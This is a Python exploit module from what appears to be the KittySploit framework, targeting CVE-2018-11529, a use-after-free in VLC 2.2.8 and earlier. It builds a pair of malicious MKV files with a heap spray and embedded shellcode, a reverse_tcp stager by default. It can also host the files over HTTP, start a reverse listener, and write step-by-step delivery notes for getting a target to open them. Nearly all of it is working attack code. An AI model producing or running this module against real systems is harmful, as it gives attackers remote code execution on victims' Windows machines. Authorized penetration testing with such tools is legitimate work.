VLC Media Player MKV Use After Free

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pathlib import Path
from typing import List, Union

from kittysploit import *
from core.framework.failure import fail
from lib.fileformat.vlc_mkv import PAYLOAD_SPACE, TARGETS, write_vlc_mkv_pair
from lib.pdf.http_delivery import advertise_url, start_static_http_server


class Module(Exploit):
    __info__ = {
        "name": "VLC Media Player MKV Use After Free",
        "description": (
            "CVE-2018-11529: Use-after-free in VideoLAN VLC <= 2.2.8 MKV parsing "
            "(32-bit and 64-bit). Generates two .mkv files: part1 (vulnerability + "
            "heap spray) to open in VLC, and part2 (must sit in the same directory). "
            "Requires a raw shellcode payload (<= 0x300 bytes). Meterpreter-sized "
            "payloads often crash VLC — prefer small reverse shell stagers. "
            "disablePayloadHandler=true (default) only generates files; set false to "
            "start the reverse listener after generation."
        ),
        "author": [
            "Eugene Ng - GovTech",
            "Winston Ho - GovTech",
            "KittySploit Team",
        ],
        "cve": ["CVE-2018-11529"],
        "references": [
            "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11529",
            "https://www.exploit-db.com/exploits/44979",
            "https://www.rapid7.com/db/modules/exploit/windows/fileformat/vlc_mkv/",
        ],
        "tags": [
            "mkv",
            "vlc",
            "fileformat",
            "uaf",
            "rce",
            "windows",
            "cve-2018-11529",
            "authorized-only",
        ],
        "platform": Platform.WINDOWS,
        "arch": [Arch.X86, Arch.X64],
        "payload": {
            "default": "payloads/stagers/windows/x86/reverse_tcp",
            "arch": [Arch.X86, Arch.X64],
            "platform": Platform.WINDOWS,
            "category": PayloadCategory.STAGER,
        },
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 0,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths"],
            "cost": 1.0,
            "noise": 0.5,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": [],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {},
                "endpoint_pattern_any": [],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [{"capability": "rce", "from_detail": ""}],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [],
            },
        },
    }

    target = OptChoice(
        "x86",
        "VLC target architecture (x86 or x64 Windows 10 / VLC 2.2.8)",
        required=True,
        choices=["x86", "x64"],
    )
    mkv_one = OptString(
        "",
        "Primary MKV filename to open in VLC (random if empty)",
        required=False,
    )
    mkv_two = OptString(
        "",
        "Auxiliary MKV filename (same directory as part1; random if empty)",
        required=False,
    )
    output_dir = OptString(
        "output/mkv-exploit",
        "Directory for generated MKV files",
        required=False,
    )
    serve_http = OptBool(
        False,
        "Serve generated MKV files over HTTP (srvhost/srvport)",
        required=False,
    )
    srvhost = OptString("0.0.0.0", "HTTP bind address", required=False)
    srvport = OptPort(8888, "HTTP port for MKV delivery", required=False)
    disablePayloadHandler = OptBool(
        True,
        "If true, only generate MKV files (no reverse listener). "
        "Set false to listen after generation.",
        required=True,
        advanced=False,
    )

    def check(self):
        return {
            "vulnerable": True,
            "reason": (
                "File-format exploit for VLC <= 2.2.8 — place both MKVs together "
                "and open part1"
            ),
            "confidence": "medium",
        }

    def _output_dir(self) -> Path:
        out = Path(str(self.output_dir or "output/mkv-exploit"))
        out.mkdir(parents=True, exist_ok=True)
        return out

    def _shellcode(self) -> bytes:
        raw: Union[str, bytes, None] = self.payload
        if raw is None:
            raise ValueError("No payload — set PAYLOAD / LHOST / LPORT")
        if isinstance(raw, str):
            raise ValueError(
                "VLC MKV UAF needs raw shellcode bytes (max "
                f"{PAYLOAD_SPACE:#x}). Use payloads/stagers/windows/x86/reverse_tcp "
                "(x86 target), not a cmd/PowerShell string."
            )
        if not isinstance(raw, bytes):
            raise ValueError(f"Unexpected payload type: {type(raw)}")
        if len(raw) > PAYLOAD_SPACE:
            raise ValueError(
                f"Shellcode is {len(raw)} bytes (max {PAYLOAD_SPACE:#x}). "
                "Prefer a small reverse_tcp stager; meterpreter often crashes VLC."
            )
        return raw

    def _serve_mkvs(self, paths: List[Path]) -> None:
        host = str(self.lhost or "").strip()
        bind = str(self.srvhost or "0.0.0.0").strip() or "0.0.0.0"
        port = int(self.srvport or 8888)
        advertise = host if host and host not in ("0.0.0.0", "::") else (
            bind if bind not in ("0.0.0.0", "::") else "127.0.0.1"
        )
        routes = {}
        for path in paths:
            data = path.read_bytes()
            routes[f"/{path.name}"] = (data, "video/x-matroska")
        if paths:
            routes["/"] = routes[f"/{paths[0].name}"]
        start_static_http_server(routes, host=bind, port=port)
        for path in paths:
            print_success(
                f"    HTTP: {advertise_url(advertise, port, path.name)}"
            )

    def run(self):
        arch = str(self.target or "x86").lower()
        if arch not in TARGETS:
            fail.Message(f"Invalid TARGET {arch!r} (x86|x64)")
            return False

        try:
            shellcode = self._shellcode()
        except ValueError as exc:
            fail.Message(str(exc))
            return False

        out = self._output_dir()
        print_info("[+] VLC MKV UAF (CVE-2018-11529)")
        print_info(f"    Target:   {TARGETS[arch].name}")
        print_info(f"    Shellcode:{len(shellcode)} bytes")
        print_info(f"    Output:   {out.resolve()}")
        print_warning(
            f"    Note:    part1 spray is large (~{TARGETS[arch].spray_count * 16} MB); "
            "generation may take a moment"
        )
        if self.disablePayloadHandler:
            lhost = str(self.lhost or "")
            lport = self.lport
            if lhost and lport:
                print_info(f"    Callback: {lhost}:{lport} (listener not started)")

        try:
            paths = write_vlc_mkv_pair(
                out,
                shellcode,
                arch=arch,
                mkv_one=str(self.mkv_one or ""),
                mkv_two=str(self.mkv_two or ""),
            )
        except ValueError as exc:
            fail.Message(str(exc))
            return False

        print_success(f"    Created: {paths[0].name}  (open this in VLC)")
        print_success(f"    Created: {paths[1].name}  (same directory as part1)")

        notes = out / "DELIVERY_NOTES.txt"
        notes.write_text(
            "\n".join(
                [
                    "# VLC MKV UAF (CVE-2018-11529)",
                    "# Authorized penetration testing only.",
                    "",
                    f"TARGET={TARGETS[arch].name}",
                    f"OPEN={paths[0].name}",
                    f"AUX={paths[1].name}",
                    "",
                    "1. Copy both MKV files into the same directory on the target.",
                    f"2. Open {paths[0].name} in VLC <= 2.2.8.",
                    "3. Start the reverse listener before open if disablePayloadHandler=true.",
                    "",
                ]
            ),
            encoding="utf-8",
        )
        print_success(f"    Artifact: {notes.name}")

        if self.serve_http:
            self._serve_mkvs(paths)

        if self.disablePayloadHandler:
            print_info(
                "Listener not started. Start one before delivery, or: "
                "set disablePayloadHandler false"
            )
        print_warning("AUTHORIZED TESTING ONLY.")
        return True